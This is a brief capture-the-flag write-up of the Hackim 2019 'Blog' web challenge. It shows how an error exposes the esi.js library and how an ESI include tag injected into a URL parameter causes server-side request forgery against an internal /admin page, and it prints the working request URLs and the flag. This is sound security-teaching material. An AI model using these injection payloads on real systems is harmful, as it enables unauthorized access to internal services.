HABOOB

Hackim 2019
WRITE-UP

Web - Blog

CHALLENGE DESCRIPTION

http://web3.ctf.nullcon.net:8080

Its just a blog

SOLUTION

This this challenge starts by providing the user with a title and descriptions input that are being sent to the server by get parameters, title and description.

http://web3.ctf.nullcon.net:8080/edge?title=TitleExample&description=DescriptionExample

By messing with the description parameter we will get an

http://web3.ctf.nullcon.net:8080/edge?title=TitleExample&description[x]=x

This will result in an error that will show a library that Node.js is using called esi.js

After searching around, we found out that this library is vulnerability to SSRF.

Now we will inject the payload in the parameter

http://web3.ctf.nullcon.net:8080/edge?title=TitleExample&description=<esi:include src="http://google.com/" />

Injecting the payload this way will result in opening Google.com by the server.

Now we will change the address to http://web3.ctf.nullcon.net:8080/admin

To get the flag.

Final request:

http://web3.ctf.nullcon.net:8080/edge?title=TitleExample&description=<esi:include src="http://web3.ctf.nullcon.net:8080/admin" />

hackim19{h0w_Did_y0ou-Get_here}